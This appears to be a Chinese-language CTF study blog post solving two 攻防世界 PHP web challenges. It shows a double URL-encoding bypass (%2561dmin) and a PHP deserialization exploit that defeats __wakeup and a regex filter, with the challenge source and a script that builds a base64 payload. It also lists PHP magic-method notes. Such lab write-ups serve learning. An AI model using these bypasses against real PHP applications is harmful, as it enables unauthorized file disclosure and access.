miniL被虐了QAQ太菜惹555 有精通php反序列化,sql注入的旁友可以暗搓搓交換下思路 不管怎樣還是思考了很多東西的,雖然沒有完全做出來吧,結合wp(鬼知道有木有呢)也得總結下
不過XX比賽對本階段的蒟蒻來說都無所謂 之後的學習就是刷關啦
包括攻防世界…之類的,sqli-lab,upload,xss之類的 總結一下dvwa之類的 菜不菜無所謂了,就是不要放棄~~!!!
PHP2
(攻防世界)
Can you anthenticate to this website?
其他什麼都沒有
index.phps源碼泄露(記在小本本上,Phps是php的源碼) 好腦洞
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
分析一下:傳入的id不能爲admin
同時傳入的id經過url解碼後==admin
實際上這個過程經過了2次url的解碼(瀏覽器一次,decode一次)
利用瀏覽器編碼和URLdecode結合利用的二次編碼注入繞過,payload構造爲%2561dmin,瀏覽器會先把非ASCII碼字符%25進行編碼變成%,然後urldecode將%61編碼爲a,最後形成了admin繞過
Web_php_unserialize
前面那道反序列化還挺簡單的→_→這兩天miniL被這個類型的這個吊錘了
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
wakeup繞過 改變屬性的數量 就是隻需要令序列化字符串中標識變量數量的值大於實際變量即可繞過
正則表達式繞過:使用+可以繞過preg_match() 正則匹配這裏匹配的是 O:4,我們用 O:+4 即可繞過。(這個方式適用於PHP < 5.6.25 和 PHP< 7.0.10。)
正則繞過4 —> +4
手動構造了一個 O:+4:“Demo”:2:{s:10:"/00Demo/00file";s:8:“fl4g.php”;}
啊不行= =
然後我看下面評論區大佬的解決方法
O:+4:"Demo":2:{s:10:"Demo·file";s:8:"fl4g.php";}
中間加了·號,不知道什麼原理。。。
另解就是腳本
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a=new Demo('fl4g.php');
$b=serialize($a);
echo $b;
echo '<br/>';
$b=str_replace(':1:',':2:',$b);
$b=str_replace(':4:',':+4:',$b);
echo $b;
echo '</br>';
$c=base64_encode($b);
echo $c;
//輸出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
記錄一些知識點
private,protected修飾
魔術方法
__construct():當一個類被創建時自動調用
__destruct():當一個類被銷燬時自動調用
__invoke():當把一個類當作函數使用時自動調用
__tostring():當把一個類當作字符串使用時自動調用
__wakeup():當調用unserialize()函數時自動調用
__sleep():當調用serialize()函數時自動調用
__call():當要調用的方法不存在或權限不足時自動調用
__wakeup() 比__destruct() 提前執行